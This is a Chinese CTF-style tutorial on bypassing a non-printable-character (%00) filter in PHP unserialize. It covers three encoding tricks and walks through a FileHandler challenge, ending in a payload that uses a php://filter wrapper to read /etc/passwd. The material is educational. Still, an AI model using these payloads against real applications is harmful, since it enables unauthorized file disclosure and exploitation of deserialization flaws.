美文网首页
[入口点突破][php反序列化]针对%00检测的绕过

[入口点突破][php反序列化]针对%00检测的绕过

作者: Rixo | 来源:发表于2022-06-20 19:04 被阅读0次

    原理

    php反序列化过程中,时常会遇到一个特定属性并不是public的情况。针对这样的属性,php在序列化字符串时会加入一个特定前缀来描述这个属性。
    以下面这个类举例:

    <?php
    class DemoX{
        public $a;
        private $b;
        protected $c;
    }
    
    $a=new DemoX;
    echo serialize($a);
    

    代码运行后输出结果如下:

    image.png
    其中:
    public属性的变量序列化化后直接就是变量名
    private属性的变量序列化后会在前面加00类名00
    protected属性的变量序列化后会在前面加00*00
    PS:此处的00是十六进制的,在页面上会显示为乱码,如果直接复制粘贴会被截断,所以我们一般输出base64后的结果,在burp中解码后可以看到红框部分是有00的
    echo base64_encode(serialize($a));
    image.png

    解决方案

    1. 如果题目要求我们直接传入反序列化字符串,为了防止被截断,或者其他情况,我们一般使用urlencode编码poc,将00字符转为%00
      O:5:"DemoX":3:{s:1:"a";N;s:8:"%00DemoX%00b";N;s:4:"%00*%00c";N;}
      PS:只编码特殊符号,不要连带字母一同编码了
    2. 在PHP反序列化时,将s改为大写S,这样可以反序列化时可以识别十六进制字符。
      O:5:"DemoX":3:{s:1:"a";N;S:8:"\00DemoX\00b";N;S:4:"\00*\00c";N;}
    3. 由于php7.1+版本对属性类型不敏感,所以可以直接使用public属性的变量。
      O:5:"DemoX":3:{s:1:"a";N;s:8:"b";N;s:4:"c";N;}

    简单示例

    题目如下:

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    

    难点:

    1. is_valid函数的绕过,针对00的检测
    2. 漏洞出发的函数链为
      is_valid->unserialize->__destruct->FileHandler::process->FileHandler::read->FileHandler:: output
      我们需要绕过php的一个类型比较

    解题思路
    str变量设为
    O:11:%22FileHandler%22:3:%7Bs:5:%22%00*%00op%22;i:2;s:11:%22%00*%00filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:10:%22%00*%00content%22;N;%7D

    O:11:%22FileHandler%22:3:%7BS:5:%22\00*\00op%22;i:2;S:11:%22\00*\00filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;S:10:%22\00*\00content%22;N;%7D
    即可得到flag

    image.png

    相关文章

      网友评论

          本文标题:[入口点突破][php反序列化]针对%00检测的绕过

          本文链接:https://www.haomeiwen.com/subject/rypjvrtx.html